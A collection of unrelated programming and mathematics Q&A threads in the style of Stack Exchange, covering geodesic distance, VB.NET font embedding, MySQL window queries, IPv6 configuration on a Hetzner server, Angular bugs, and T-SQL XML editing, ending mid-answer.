Question about geodesic metric

Question: A curve $\gamma$ is said rectifiable if its lenght is finite, $L(\gamma) < \infty$ . We say that a compact set $X \subset \mathbb C$ is connected by rectifiable arcs  if any two points of $X$ can be joined by a rectiable curve lying within X.
For a set $X$ like above, we can define
$$ \delta (z_1, z_2) = \inf \left \{ L(\gamma): \, \gamma \text{ is a curvejoining   } z_1 \text{ and } z_2\right \} $$
which is the geodesic distance between $z_1$ and $z_2$. My questions are:

Why is the infimum attained?

I can't see it just because $X$ is compact.

Showing that $\delta$ defines a metric in $X$.

It's not dificult to proof see $\delta (z_1,z_1) = 0$ and $\delta (z_1,z_2) = \delta (z_2, z_1)$. I couldn't proof that $\delta(z_1, z_3) \leq \delta(z_1, z_2) + \delta (z_2, z_3).$
Help?
Answer: 1) is not at all trivial, there is a bit of theory behind this, unless during the last 15 years new approaches to this have been found.
This is usually shown in books about the calculus of variations or differential geometry. The problem is that, if a sequence of curves lets the length functional tend to the infimum, then it's not at all clear how to show that the sequence has a subsequence which converges in a reasonable topology. If that were true you were almost done since the length funcional is lower semicontinuous.
One solution is to look at the energy functional $c\mapsto \frac{1}{2}\int_I |c^\prime(t)|^2 dt$ instead. It can be shown that this majorizes the length functional and that a minimum of the energy is also a minimum of the length.
The energy functional is naturally defined on a Sobolev space $H^{1,2}(I)$, and a sequence which has bounded energy has bounded norm in that space, so it will contain a weakly convergent subsequence. Then, with standard arguments from the calculus of variations you can show that the weak limit is a (smooth, if the domain admits this) curve which minimizes energy (hence length) when the set on which you are working is compact.
2), on the other hand, is rather trivial. If you have a curve $c_1$ from $z_1$ to $z_2$ and another curve $c_2$ from $z_2$ to $z_3$ then you get an obvious curve from $z_1$ to $z_3$ the lengths of which is just the sum of the lengths of $c_1$ and $c_2$. But of course you have more choices to join $z_1$ and $z_3$, since there is no need to visit $z_2$. Taking infima then will easily show the result.
Answer: I have a slightly different approach to the definition of rectifiable curves and geodesic distance that could be the missing point in your definition.
The curve $\gamma:[a,b]\to\mathbb{C}$ is said to be rectifiable if the set of the lengths $l_{\gamma}(P)$ of all poligonal curves with vertices $\gamma(t_i)$ are bounded, where $P=\{t_0,\dots,t_k\}$ is any partition of $[a,b]$.
In this case we can define the length $l(\gamma)$ of $\gamma$ as the supremum of this set.
So if $x,y\in X$ and $X$ is connected by rectifiable curves we define $$d(x,y)=\inf\{l(\gamma):\gamma \text{ is a rectifiable curve joining $x$ and $y$ and within $X$}\}$$
Given that $X$ is connected by rectifiable curves, we are taking the infimum of a non-empty bounded set (it clearly has $0$ as lower bound), so we are OK.
But we can also prove that we can consider only poligonal curves in the definition, that is, we can show that $$d(x,y)=\inf\{l(\gamma):\text{$\gamma$ is a poligonal curve}\}$$
Thus if $X$ is convex and $x,y\in X$, $d(x,y)=|x-y|$ (indeed this the least lenght of a poligonal curve, because adding more points to the partition can only make the length greater, and its length using the partition with lesser points), so we can see that the geodesic distance is a kind of generalization for the least distance between two points in a "curved" space.

Question about geodesic metric


How can I embed font in Visual Basic .Net application?

Question: How can I embed font in Visual Basic .Net application? which should valid at every operating system.
Answer: It is possible to embed a font in an application and use it if that font is not available on the user's system.
You simply create a PrivateFontCollection and populate it with your fonts then you can use them as you please. According to MSDN, this method does not apply to operating systems before Windows 2000.

From Remarks section of PrivateFontCollection.AddFontFile method:

When using a private font on operating systems before Windows 2000, the default font, typically Microsoft Sans Serif, will be substituted.

If you intend your application to be used on Windows 2000 and newer, you can follow this code I wrote to see how to implement private fonts.
Public Class Form1
    Dim pfc As System.Drawing.Text.PrivateFontCollection
    Dim ifc As System.Drawing.Text.InstalledFontCollection

    Sub New()

        ' This call is required by the designer.
        InitializeComponent()

        ' Add any initialization after the InitializeComponent() call.
        pfc = New System.Drawing.Text.PrivateFontCollection()
        ifc = New System.Drawing.Text.InstalledFontCollection()

        LoadPrivateFonts({My.Resources.Series_60_ZDigi, My.Resources.Times_NR_Phonetics_2})
    End Sub

    ''' Loads the private fonts.
    ''' <param name="fonts">The fonts to be loaded into the private font collection.</param>
    Private Sub LoadPrivateFonts(ByVal fonts As IEnumerable(Of Byte()))
        For Each resFont In fonts
            pfc.AddMemoryFont(Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(resFont, 0), resFont.Length)
        Next
    End Sub

    ''' Gets the FontFamily whose name matches the one specified.
    ''' <param name="fontName">Name of the FontFamily to be returned.</param>
    ''' <param name="defaultFamily">
    ''' Optional. The default font family to be returned if the specified font is not found
    ''' </param>
    Private Function GetFontFamily(ByVal fontName As String, Optional ByVal defaultFamily As FontFamily = Nothing) As FontFamily
        If String.IsNullOrEmpty(fontName) Then
            Throw New ArgumentNullException("fontName", "The name of the font cannont be null.")
        End If

        Dim foundFonts = From font In ifc.Families.Union(pfc.Families) Where font.Name.ToLower() = fontName.ToLower()

        If foundFonts.Any() Then
            Return foundFonts.First()
        Else
            Return If(defaultFamily, FontFamily.GenericSansSerif)
        End If
    End Function

    Private Sub Form1_Disposed(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Disposed
        'free the resources used by the font collections
        pfc.Dispose()
        ifc.Dispose()
    End Sub

    Private Sub Form1_Paint(ByVal sender As Object, ByVal e As System.Windows.Forms.PaintEventArgs) Handles Me.Paint
        Dim g = e.Graphics

        Using br As Brush = Brushes.Black
            g.DrawString("1234567890ABCDEF", New Font(GetFontFamily("Series 60 ZDigi"), 18), br, New Point(20, 20))
            g.DrawString("ABCDEFGHIJKLMNOP", New Font(GetFontFamily("Times NR Phonetics 2"), 18), br, New Point(20, 100))
        End Using
    End Sub
End Class

I load the two fonts I use in the application (Series 60 ZDigi, a font from my Nokia phone, and Times NR Phonetics 2, a font from my dictionary application) from the resources into the private font collection in the Sub New().
I then call the GetFontFamily method to get the desired font to paint onto the form.
It shouldn't be too hard to incorporate this into your applications.
Cheers.
Answer: You can't. There is no cross-platform standard at this point for embedded fonts in a standard Winforms application. The best you can do is embed individual, OS-specific font files, detect which OS you're on, and then install the font programmatically.
On the other hand, A WPF application in VB.net might work for your needs, but I have a feeling this isn't where you're going. For information on how to package fonts with a WPF application, see this MSDN article.
Comment: I hate to burst your bubble but **It Can Be Done**. It just may not work on all operating systems but it does work on Win2k onwards. See my answer for how it is done.


how to track score gains in mysql

Question: I would like to display a players current score as well as how many points they have gained within a selected time frame.
I have 2 tables
skills table
+----+---------+---------------------+
| id |  name   |     created_at      |
+----+---------+---------------------+
|  1 | skill 1 | 2020-06-05 00:00:00 |
|  2 | skill 2 | 2020-06-05 00:00:00 |
|  3 | skill 3 | 2020-06-05 00:00:00 |
+----+---------+---------------------+

scores table
+----+-----------+----------+-------+---------------------+
| id | player_id | skill_id | score |     created_at      |
+----+-----------+----------+-------+---------------------+
|  1 |         1 |        1 |     5 | 2020-06-06 00:00:00 |
|  2 |         1 |        1 |    10 | 2020-07-06 00:00:00 |
|  3 |         1 |        2 |     1 | 2020-07-06 00:00:00 |
|  4 |         2 |        1 |    11 | 2020-07-06 00:00:00 |
|  5 |         1 |        1 |    13 | 2020-07-07 00:00:00 |
|  6 |         1 |        2 |    10 | 2020-07-07 00:00:00 |
|  7 |         2 |        1 |    12 | 2020-07-07 00:00:00 |
|  8 |         1 |        1 |    20 | 2020-07-08 00:00:00 |
|  9 |         1 |        2 |    15 | 2020-07-08 00:00:00 |
| 10 |         2 |        1 |    17 | 2020-07-08 00:00:00 |
+----+-----------+----------+-------+---------------------+

my expected results are:-
24 hour query
+-----------+---------+-------+------+
| player_id |  name   | score | gain |
+-----------+---------+-------+------+
|         1 | skill 1 |    20 |    7 |
|         1 | skill 2 |    15 |    5 |
+-----------+---------+-------+------+

7 day query
+-----------+---------+-------+------+
| player_id |  name   | score | gain |
+-----------+---------+-------+------+
|         1 | skill 1 |    20 |   10 |
|         1 | skill 2 |    15 |   14 |
+-----------+---------+-------+------+

31 day query
+-----------+---------+-------+------+
| player_id |  name   | score | gain |
+-----------+---------+-------+------+
|         1 | skill 1 |    20 |   15 |
|         1 | skill 2 |    15 |   14 |
+-----------+---------+-------+------+

so far I have the following, but all this does is return the last 2 records for each skill, I am struggling to calculate the gains and the different time frames
SELECT player_id, skill_id, name, score
FROM (SELECT player_id, skill_id, name, score,
      @skill_count := IF(@current_skill = skill_id, @skill_count + 1, 1) AS skill_count,
      @current_skill := skill_id
      FROM skill_scores
      INNER JOIN skills
        ON skill_id = skills.id
      WHERE player_id = 1
      ORDER BY skill_id, score DESC
     ) counted
WHERE skill_count <= 2

I would like some help figuring out the query I need to build to get the desired results, or is it best to do this with php instead of in the db?
EDIT:-
MYSQL 8.0.20 dummy data id's are primary_key auto increment but I didnt ad that for simplicity:-
CREATE TABLE skills
   (
      id bigint,
      name VARCHAR(80)
   );

   CREATE TABLE skill_scores
   (
      id bigint,
      player_id bigint,
      skill_id bigint,
      score bigint,
      created_at timestamp
   );

   INSERT INTO skills VALUES (1, 'skill 1');
   INSERT INTO skills VALUES (2, 'skill 2');
   INSERT INTO skills VALUES (3, 'skill 3');

   INSERT INTO skill_scores VALUES (1, 1, 1 , 5, '2020-06-06 00:00:00');
   INSERT INTO skill_scores VALUES (2, 1, 1 , 10, '2020-07-06 00:00:00');
   INSERT INTO skill_scores VALUES (3, 1, 2 , 1, '2020-07-06 00:00:00');
   INSERT INTO skill_scores VALUES (4, 2, 1 , 11, '2020-07-06 00:00:00');
   INSERT INTO skill_scores VALUES (5, 1, 1 , 13, '2020-07-07 00:00:00');
   INSERT INTO skill_scores VALUES (6, 1, 2 , 10, '2020-07-07 00:00:00');
   INSERT INTO skill_scores VALUES (7, 2, 1 , 12, '2020-07-07 00:00:00');
   INSERT INTO skill_scores VALUES (8, 1, 1 , 20, '2020-07-08 00:00:00');
   INSERT INTO skill_scores VALUES (9, 1, 2 , 15, '2020-07-08 00:00:00');
   INSERT INTO skill_scores VALUES (10, 2, 1 , 17, '2020-07-08 00:00:00');

Comment: Specify your MySQL version. Add tables' CREATE TABLE + INSERT INTO scripts instead /in addition to table-formed example data.
Comment: yes, the score can go up and down
Comment: added at the bottom
Comment: ? Player skill may both grow up and fall down?
Answer: WITH cte AS (
SELECT id, player_id, skill_id,
       FIRST_VALUE(score) OVER (PARTITION BY player_id, skill_id ORDER BY created_at DESC) score,
       FIRST_VALUE(score) OVER (PARTITION BY player_id, skill_id ORDER BY created_at DESC) - FIRST_VALUE(score) OVER (PARTITION BY player_id, skill_id ORDER BY created_at ASC) gain,
       ROW_NUMBER() OVER (PARTITION BY player_id, skill_id ORDER BY created_at DESC) rn
FROM skill_scores
WHERE created_at BETWEEN @current_date - INTERVAL @interval DAY AND @current_date
)
SELECT cte.player_id, skills.name, cte.score, cte.gain
FROM cte
JOIN skills ON skills.id = cte.skill_id
WHERE rn = 1
ORDER BY player_id, name;

fiddle
Ps. I don't understand where gain=15 is taken for 31-day period - the difference between '2020-07-08 00:00:00' and '2020-06-06 00:00:00' is 32 days.
Comment: @Chris In general - [WITH (Common Table Expressions)](https://dev.mysql.com/doc/refman/8.0/en/with.html). In query text - an alias of CTE.
Comment: Wow, what a great solution you truly are an SQL ninja! There is a few commands in there that I have never seen before and will have to research, but could you explain what "cte" is? I'm guessing you have created some kind of temporary space and named it "cte"?
Comment: I have just ran into a small problem with this solution, if I run the same query now (4 days later) and the database has not been updated the query still works off the last results found meaning that for the 1 day interval 0 results are displayed, this would then become a problem for the other intervals if the db wasn't updated for a longer period of time. Is there an easy solution to this? to clarify if you use your fiddle and SET current_date := '2020-07-14';  it should return the same result as if you had SET current_date := '2020-07-09'; is this an easy update to the solution?
Answer: Well i think you need a (temporary) table for this. I will call it "player_skill_gains". Its basically the players skills ordered by created_at and with an auto_incremented id:
CREATE TABLE player_skill_gains
(`id` int PRIMARY KEY AUTO_INCREMENT NOT NULL
                                          , `player_id` int
                                         , skill_id int
                                         , score int
                                         , created_at date)
;

INSERT INTO player_skill_gains(player_id, skill_id, score, created_at)
SELECT player_skills.player_id AS player_id
  , player_skills.skill_id
  , SUM(player_skills.score) AS score
, player_skills.created_at
FROM player_skills
GROUP BY player_skills.id, player_skills.skill_id, player_skills.created_at
ORDER BY player_skills.player_id, player_skills.skill_id, player_skills.created_at ASC;

Using this table we can relatively easily select the last skill for each row (id-1). Using this we can calculate the gains:
SELECT player_skill_gains.player_id, skills.name, player_skill_gains.score
  , player_skill_gains.score - IFNULL(bef.score,0) AS gain
  , player_skill_gains.created_at
FROM player_skill_gains
  INNER JOIN skills ON player_skill_gains.skill_id = skills.id
  LEFT JOIN player_skill_gains AS bef ON (player_skill_gains.id - 1) = bef.id
      AND player_skill_gains.player_id = bef.player_id
      AND player_skill_gains.skill_id = bef.skill_id

For the different queries you want to have (24 hours, 7 days, etc.) you just have to specify the needed where-part for the query.
You can see all this in action here: http://sqlfiddle.com/#!9/1571a8/11/0

how to track score gains in mysql


onto but not one-to-one on set of Natural Numbers

Question: Let $\mathbb{N} = \{0, 1, 2, 3, ...\}$.
Is there a function from $\mathbb{N}$ to $\mathbb{N}$ which is an onto function but not one-to-one function?
I have tried it but could not find any such function.
Comment: Please, don't write "one-to-one" as "1-2-1". To answer your question, try $f(x)=x-1,f(0)=0$.
Answer: Yes many, for example $$f(2n) = f(2n+1) = n$$
Comment: how is this a function please?
Answer: Just do a left-shift
$$
f(n) = \begin{cases}
0 & \text{ if } n = 0\\
n-1 & \text{ if } n > 0
\end{cases}
$$
Answer: Just take $f$ defined by $f(0) = 0$, and $f(n+1) = n$.
Answer: Yet another assignment:
$$n \mapsto \left\lfloor \frac n5\right\rfloor$$
For each number $n$ is returns the fifth part of $n$ truncated to the nearest lower integer, so it is:
$0$ for $n=0\dots 4$,
$1$ for $n=5\dots 9$,
$2$ for $n=10\dots 14$,
$3$ for $n=15\dots 19$,
and so on.


Can I create a single egg for multiple versions of python?

Question: We have a local system which runs via a series of eggs.  At the moment this means everyone must have a copy of Python 2.5 installed.  Is it possible to create an egg which can be used by Python 2.5, 2.6, and 2.7 (ideally also any later versions)?
Obviously, the python code will have to run under all three versions.  Equally obviously, this egg can't contain any C extensions.  Slightly less obviously, the egg must contain the python source (.py) files, and not the .pyc files.
Also, I know we could create three eggs (or possibly copy the one egg with three names) - but that seems wrong.
Comment: You don't need version specific eggs for Python-only packages
Comment: Your package contains Python-only code or also C extensions?
Comment: "but that seems wrong" Why?  It's much simpler to have Python version-specific eggs.  It makes audit and confirmation of a correct environment so much easier.
Comment: Our package is Python-only code.
Comment: Why do multiple eggs make audit and confirmation of a correct environment easier?
Answer: Distribute the source tarball only; easy-install (or pip or buildout, or whatever package dependency manager / installer you use) will create an egg for you for the python version used to install it.
You only ever need to create eggs for distribution only for packages with C-extensions, and then only for Windows because most Windows system lack the tools needed to build the egg themselves.
Take a look at PyPI to see many examples of this, like the zope.interface page. Note that there are only .egg distributions there for python versions 2.4, 2.5 and 2.6 for Windows. Everything else just uses the .tar.gz tarball download and builds the .egg locally as needed.
You build a source tarball using the setup.py sdist command. Personally, I use jarn.mkrelease; it automates much of the process for you (like uploading the source distribution to a distribution server).


IPv6 address not available from outside

Question: Since Hetzner pretty much doesn't give out any IPv4 addresses, no matter what the reason is, I decided to give IPv6 a try.
These is the assigned IP address subnet mask
IPs: 2a01:4f8:190:5112:: /64
Gateway: fe80::1
Useable IP addresses:
2a01:4f8:190:5112::2 to 2a01:4f8:190:5112:ffff:ffff:ffff:ffff

First I added IP with
ip -6 addr add 2a01:4f8:190:5112::2/64 dev eth0

added this block to /etc/network/interfaces
iface eth0 inet6 static
  address 2a01:4f8:190:5112::2
  netmask 64
  gateway fe80::1

and restarted networking.
When I attempt to ping this IP from the server, it pings ok.
root@server ~ # ping6 2a01:4f8:190:5112::2
PING 2a01:4f8:190:5112::2(2a01:4f8:190:5112::2) 56 data bytes
64 bytes from 2a01:4f8:190:5112::2: icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from 2a01:4f8:190:5112::2: icmp_seq=2 ttl=64 time=0.040 ms
64 bytes from 2a01:4f8:190:5112::2: icmp_seq=3 ttl=64 time=0.041 ms

however any attempts to do pinging from outside the server, result in
connect: Network is unreachable

I am new to configuring IPv6 addresses so it's possible I may have forgotten something.
I am running Ubuntu 13.10 if it matters.
Output from ip6tables -L -n -v
Chain INPUT (policy ACCEPT 10383 packets, 2639K bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 13967 packets, 1119K bytes)
 pkts bytes target     prot opt in     out     source               destination

Thank you very much in advance, any help is much appreciated.
Comment: Does the computer where you are pinging from have IPv6?
Comment: Can you paste the output from `ip6tables -L -n -v` into your question?
Comment: Sure. Updated my question.
Comment: Ah, OK, that's not it, then!
Comment: What about pinging out from the server?  `ping6 -n www.free.fr`.
Comment: Works perfectly well.
Answer: Nothing is wrong.  This just in, from my v6-enabled server:
[me@lory mail]$ ping6 2a01:4f8:190:5112::2
PING 2a01:4f8:190:5112::2(2a01:4f8:190:5112::2) 56 data bytes
64 bytes from 2a01:4f8:190:5112::2: icmp_seq=1 ttl=53 time=21.2 ms
64 bytes from 2a01:4f8:190:5112::2: icmp_seq=2 ttl=53 time=21.1 ms
64 bytes from 2a01:4f8:190:5112::2: icmp_seq=3 ttl=53 time=21.1 ms

I suspect the problem may be ipv6 on the machine you're PINGing from, rather than the one you're PINGing to.  But in any case, that's not what you asked; to answer the question you asked, your server's ipv6 is set up just fine.
Though if I were you, I'd put up some kind of v6-firewall ruleset fairly quickly!
Edit: Is it supported?  Well, that sort of depends on whether you've set it up!  v6 works perfectly well, but here in the UK, despite being fairly standard in data centres it's not yet common amongst domestic ISPs.  There are some who can do it (I use one), but you often have to ask for it.  Even if you have one that supports it, and you ask for it and get it, your gateway device will need to be told about it, and will have to run some kind of route advertisement daemon and either hand out addresses or support stateless v6 address autoconfiguration so that LAN clients get the right addresses and routes.
So: yes, it can be supported, but both your and your ISP have to be involved.  It doesn't somehow magically all work out of the box, with free sparkle ponies as an added bonus.
By the way, may I thank you for not redacting your ip addresses in this question?  It was a very great deal easier to answer as a result of your putting in the real addresses.
Comment: @Screatch Yes, it really is that poor. According to Google, IPv6 deployment on clients is at about 3% (http://www.google.com/intl/en/ipv6/statistics.html). According to my calculations we needed to reach that point about 13 years ago in order to complete the upgrade to IPv6 on time (http://kasperd.net/~kasperd/transition). It is almost certainly your ISP, you have to blame for not having IPv6 on your client machines.
Comment: It's an excellent time to go dual-stack, and we all should.  It's too early to go single-stack v6, though, except where you are servicing a known v6-enabled client population.
Comment: That was kasperd's point.  What exactly is your business need for a second v4 address?
Comment: APNIC (Asia-Pacific) and RIPE NCC (Europe, the Middle East and parts of Central Asia) have run out of unallocated IPv4 addresses a long time ago (2012). ISPs cannot get any new addresses (unless they find someone who want to sell their addresses, but prices will be high), so they will be *very* careful with giving addresses to customers. ARIN (North America) is going to run out soon as well. Countries like Romania, Switzerland and Belgium have many residential IPv6 users, but other countries are far far behind. So we are in a situation where we are out of IPv4, but cannot go IPv6-only yet :(
Comment: This makes sense.

I just tried to do pinging to this address from 3 different servers and 4 separate PC's (3 ubuntu and 1 windows), none of them were able to ping IP address, is IPv6 support really this poor at the moment?
Comment: Never through its this bad.

Thank you for thorough explanations. Looks like its a little bit too early to move to IPv6 just yet.
Comment: @Screatch it may be a bit too early to go IPv6-only. But it is not too early to go dual stack, everybody should have done so years ago. As far as I know, Hetzner is still providing one IPv4 address, so what is it you need to do, for which that one IPv4 address is insufficient? Maybe IPv6-only is an option for some of the things you want to do, but not for all of it.
Comment: Hetzner no longer gives out IPv4 address, no matter if its for SSL uses or for DNS, or if your scripts need separate IP.

There is seriously no more legitimate reason for receiving more than one IP address.
Comment: Sander, I don't disagree we're coming to that point, but RIPE simply isn't out of unallocated addresses yet.  [This graph](http://www.ripe.net/internet-coordination/ipv4-exhaustion/ipv4-available-pool-graph) shows that they had slightly less than 14 million unallocated v4 addresses as of 28/4/14.  What they have been on since Sep 2012 is their last `/8`, which triggers more draconian allocation policies (PA-space to LIRs only in `/22`s, no PI-space).  We are not out of ipv4 yet, but as the clamp-down filters through the the NSPs and ISPs, their incentive to supply ipv6 increases - I hope!
Answer: In order to use IPv6, you need to have it not only on the server, but also on the client. If your ISP is not willing to do their job and upgrade their network, you can look into using a 6in4 tunnel. There are different providers, some do well in some areas, others do well in other areas. Overall my feeling is that Hurricane Electric is the best choice.

IPv6 address not available from outside


Angular Bootstrap Typeahead - Append to Body - Stuck

Question: The typeahead display gets stuck to the body when using append to body in combination with routing.
typeahead-append-to-body="true"

I used the Angular seed project and one of the simple Typeahead examples and replicated the problem: http://plnkr.co/WSNIRKLqOCLqO87jp3an

Load page
Select 'view2'
Select 'view1'
Type alpha character 'a' into the input
Observe the typeahead display attached to the body
Select view2
Observe display is still attached to the body

Problem happens in all the browsers I tried.
I see the click bindings to the document fire but the dismissClickHandler is not called if the page is has been routed to before. Meaning it works fine the first time, but when you go back to a page that you have been to before it never firs the dismissClickHandler.
https://github.com/angular-ui/bootstrap/blob/master/src/typeahead/typeahead.js
// Keep reference to click handler to unbind it.
  var dismissClickHandler = function (evt) {
    if (element[0] !== evt.target) {
      resetMatches();
      scope.$digest();
    }
  };

  $document.bind('click', dismissClickHandler);

  originalScope.$on('$destroy', function(){
    $document.unbind('click', dismissClickHandler);
  });

  var $popup = $compile(popUpEl)(scope);
  if ( appendToBody ) {
    $document.find('body').append($popup);
  } else {
    element.after($popup);
  }

Any thoughts?
Answer: Please note that this is fixed using the latest versions of Angular (1.4.7) and Angular UI Bootstrap (0.14.3) - at the time of this writing.  As such, I've closed https://github.com/angular-ui/bootstrap/issues/2551.
Answer: I believe this is a bug of the angular-bootstrap to not call $popup.remove() when its scope has been destroyed.
The reason it seems to work fine at the first time is because when you navigate to view 2, the template has't been ready in a cache yet, so it take sometime to load, and that allow the dismissClickHandler() to get executed and hide a popup.
But just hidding the popup is not enough. It should be removed from the DOM.
In your plunker, if you navigate back and forth between views a few times, then inspect the DOM, you will see a lot of dangling ui elements are still there but hidden in the document.body.
Answer: runTarm put me on the right track. This is my (quite dirty) fix, I remove the typeahead from the DOM on destroy of the scope:
  originalScope.$on('$destroy', function(){
    $document.find('[id^=typeahead]').remove();
    $document.unbind('click', dismissClickHandler);
  });

I submitted a bug: https://github.com/angular-ui/bootstrap/issues/2551


Atom (python) - paste multiple lines into command prompt

Question: I'm used to writing python code in Atom and copy-paste into window command prompt to test and see immediate output. (let's not talk about if this is an efficient way or not here :) It usually allowed me to copy and paste multiple lines at once, but today, all of a sudden, command prompt does not recognize multiple lines.
For example, for the same code
<code>list = []
n = [1,2,3]
for i in n:
    list.append(i)

</code>
Command prompt used to read my copy-pasting as something like (I don't recall how it exactly looks)
<code>>>> list = []
>>> n = [1,2,3]
>>> for i in n:
...    list.append(i)
</code>
But now it read:
<code>>>> list = [] n = [1,2,3] for i in n:    list.append(i)
</code>
I don't think the problem is with command prompt because when I copy from my question on StackOverlow, it reads perfectly. I suppose this is something with Atom, but I have no idea what changed/happened.
Does anyone have any idea what might be causing the problem?
Comment: Has the configuration of newlines changes in atom?
Comment: @MadPhysicist Hi thanks for your response! I don't recall changing any configurations. Just in case, where is the configuration of newlines you mentioned?
Answer: I found a solution (inspired by this https://discuss.atom.io/t/make-lf-the-default-newline-format/53354):
Settings -> Packages -> Line Ending Selector -> change the "Default line ending" setting to "CRLF".
This can also be changed here:


how to assign IDs to xml nodes in the same level

Question: I'm trying to modify a third party xml so that all the elements have Id's from T-SQL.
This is the original xml (section):

<Tables>

      <TableRow>
        <Field Name="LI_NominalCode" Type="wd_lit_nominalcode">244234</Field>
        <Field Name="LI_NominalDesc" Type="lit_nominaldesc">RENT RECEIVABLE - INTERNAL</Field>
        <Field Name="LI_Account" Type="lit_wd_account" />
        <Field Name="LI_AccountDesc" Type="lit_wd_accountdesc" />
        <Field Name="LI_SecondAccount" Type="lit_wd_2ndaccount" />
        <Field Name="LI_SecondAccountDesc" Type="lit_wd_2ndaccountdesc" />
        <Field Name="LI_NetValue" Type="lit_vatexcludedamount">4522.89</Field>
        <Field Name="LI_EnergyUsage" Type="wd_energyusage">56666</Field>
        <Field Name="LI_EnergyType" Type="wd_energytype">ELECTRICITY</Field>
      </TableRow>
      <TableRow>
        <Field Name="LI_NominalCode" Type="wd_lit_nominalcode">150021</Field>
        <Field Name="LI_NominalDesc" Type="lit_nominaldesc">Rent Building 1</Field>
        <Field Name="LI_Account" Type="lit_wd_account" />
        <Field Name="LI_AccountDesc" Type="lit_wd_accountdesc" />
        <Field Name="LI_SecondAccount" Type="lit_wd_2ndaccount" />
        <Field Name="LI_SecondAccountDesc" Type="lit_wd_2ndaccountdesc" />
        <Field Name="LI_NetValue" Type="lit_vatexcludedamount">456.37</Field>
        <Field Name="LI_EnergyUsage" Type="wd_energyusage">2805.00</Field>
        <Field Name="LI_EnergyType" Type="wd_energytype">ELECTRICITY</Field>
      </TableRow>
      <TableRow>
        <Field Name="LI_NominalCode" Type="wd_lit_nominalcode">2342341</Field>
        <Field Name="LI_NominalDesc" Type="lit_nominaldesc">Rent Building 2</Field>
        <Field Name="LI_Account" Type="lit_wd_account" />
        <Field Name="LI_AccountDesc" Type="lit_wd_accountdesc" />
        <Field Name="LI_SecondAccount" Type="lit_wd_2ndaccount" />
        <Field Name="LI_SecondAccountDesc" Type="lit_wd_2ndaccountdesc" />
        <Field Name="LI_NetValue" Type="lit_vatexcludedamount">355</Field>
        <Field Name="LI_EnergyUsage" Type="wd_energyusage">6900</Field>
        <Field Name="LI_EnergyType" Type="wd_energytype">ELECTRICITY</Field>
      </TableRow>

  </Tables>

As you can see, the
 elements don't have Id's, so later in the process is difficult to identify them.
I'd like to create a loop to go through all the
 elements and execute a snippet like this:
set @xml.modify('
insert attribute ID {sql:variable("@idString")}
into (/Documents/Document/Invoice/Tables/Table[@Type="LineItem"]/TableRow)[sql:variable("@id")]')

The problem lies on the last sql variable, the error is:

XQuery [modify()]: Only 'http://www.w3.org/2001/XMLSchema#decimal?',
  'http://www.w3.org/2001/XMLSchema#boolean?' or 'node()*' expressions
  allowed as predicates, found 'xs:string ?'

This works fine, but I dont want to change always the same row (number 1).
set @xml.modify('
insert attribute ID {sql:variable("@idString")}
into (/Documents/Document/Invoice/Tables/Table[@Type="LineItem"]/TableRow)[1]')

By the way, if I use an int variable instead of a string as such:
set @xml.modify('insert attribute ID {sql:variable("@idString")}
                 into (/Documents/Document/Invoice/Tables/Table[@Type="LineItem"]/TableRow)[sql:variable("@idInt")]')`

I get another error:

XQuery [modify()]: The target of 'insert' must be a single node, found
  'element(TableRow,xdt:untyped) *
Answer: You can compare the variable @id to function position().
declare @id int
declare @RowCount int
select @RowCount = @xml.value('count(/Tables/Table[@Type="LineItem"]/TableRow)', 'int')

set @id = 1

while @id <= @RowCount
begin
  set @xml.modify('
    insert attribute ID {sql:variable("@id")}
    into (/Tables/Table[@Type="LineItem"]/TableRow[position()=sql:variable("@id")])[1]')

  set @id = @id + 1
end

Comment: Genious! Worked like a charm, it wasn't obvious, since the [1] also can be used to point to the position of the element.
Answer: The only thing I can come up with is a stored procedure with all the possible rows (heard somebody flushing the toilet?)
if (@row = 1)
BEGIN
    set @xml.modify('
        insert attribute ID {sql:variable("@id")}
        into (/Documents[1]/Document[1]/Invoice[1]/Tables[1]/Table[@Type="LineItem"][1]/TableRow)[1]
        ')
END
ELSE if (@row = 2)
BEGIN
    set @xml.modify('
        insert attribute ID {sql:variable("@id")}
        into (/Documents[1]/Document[1]/Invoice[1]/Tables[1]/Table[@Type="LineItem"][1]/TableRow)[2]
        ')
END
ELSE if (@row = 3)
BEGIN
    set @xml.modify('
        insert attribute ID {sql:variable("@id")}
        into (/Documents[1]/Document[1]/Invoice[1]/Tables[1]/Table[@Type="LineItem"][1]/TableRow)[3]
        ')
END

Hopefully won't be more than 200...


Optimization in maple

Question: I optimized a function and I want to use the value.
The answer I got is [4.77011197468878567, [alpha = 1.43792823465135400]] and I want to use the alpha for plotting but I don't know how to extract it.
Comment: Please clarify your specific problem or provide additional details to highlight exactly what you need. As it's currently written, it's hard to tell exactly what you're asking.
Answer: ans := Optimization:-Minimize(...);

  ans := [4.77011197468878567, [alpha = 1.43792823465135400]];

ans[2];

   [alpha = 1.43792823465135400]

You can utilize that with the eval command, to evaluate-at-a-point (ie, substitute, mathematically).
eval(alpha, ans[2]);

        1.43792823465135400

expr := cos(alpha^2*x);

                     2
    expr := cos(alpha  x)

eval(expr, ans[2]);

     cos(2.067637609 x)

Optimization in maple


Angular2 Cannot read property 'push' of undefined

Question: Currently, I can make a call to a service and fill a table with records; the records have a selected property, which is toggled by checkboxes for each row.
Underneath that table is a button; when I hit the button, I want to loop through the table and create a new array with entries that have selected property == true.
I can't seem to initialize the selecterecords array properly.
Record.ts
export class Record {
    id: string;
    firstname: string;
    lastname: string;
    salary: string;
    selected : boolean;
}

table-component.ts
export class TableComponent implements OnInit {
    records: Record[];
    selectedrecords: Record[];

    constructor(
        private router: Router,
        private recordService: RecordService) {}

    getRecords(): void {
        this.recordService.getRecords().then(records => this.records = records);
    }

    ngOnInit(): void {
        this.getRecords();
    }

    createselectedRecords() {
        for (let rec of this.records) {
            if (rec.selected) {
                this.selectedrecords.push(rec);
            }
            console.log(this.selectedrecords);
        }
    }
}

record-service.ts
@Injectable()
export class RecordService {
    getRecords(): Promise<Record[]> {
        return Promise.resolve(RECORDS);
    }

    getRecord(id: string): Promise<Record> {
        return this.getRecords()
            .then(records => records.find(record => record.id === id));
    }
}

Answer: By selectedrecords: Record[] you just set this property's type so TypeScript can warn you if you do anything wrong.
To actually initialize the property you can use an empty array:
selectedrecords: Record[] = [];

Answer: You need to initialize before using your variable.
constructor(
